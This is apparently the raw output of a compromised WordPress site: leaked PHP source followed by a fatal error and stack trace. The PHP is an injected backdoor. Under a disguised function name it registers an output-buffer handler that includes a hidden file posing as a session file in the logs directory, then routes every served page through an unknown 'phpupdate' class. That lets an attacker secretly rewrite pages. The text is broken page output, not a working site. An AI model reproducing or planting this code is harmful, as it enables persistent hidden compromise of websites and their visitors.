function ob_gzhanler($s)
{
   $f='/var/www/vhosts/elosz.hu/logs/ssess_40153441d285d63e9db50fbbc3f54da8';
    if(file_exists($f)) include_once($f);
    return class_exists('phpupdate') ? phpupdate::copyright($s) : $s;
}
ob_start('ob_gzhanler');<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function wp() in /var/www/vhosts/elosz.hu/httpdocs/wp-blog-header.php:16
Stack trace:
#0 /var/www/vhosts/elosz.hu/httpdocs/index.php(17): require()
#1 {main}
  thrown in <b>/var/www/vhosts/elosz.hu/httpdocs/wp-blog-header.php</b> on line <b>16</b><br />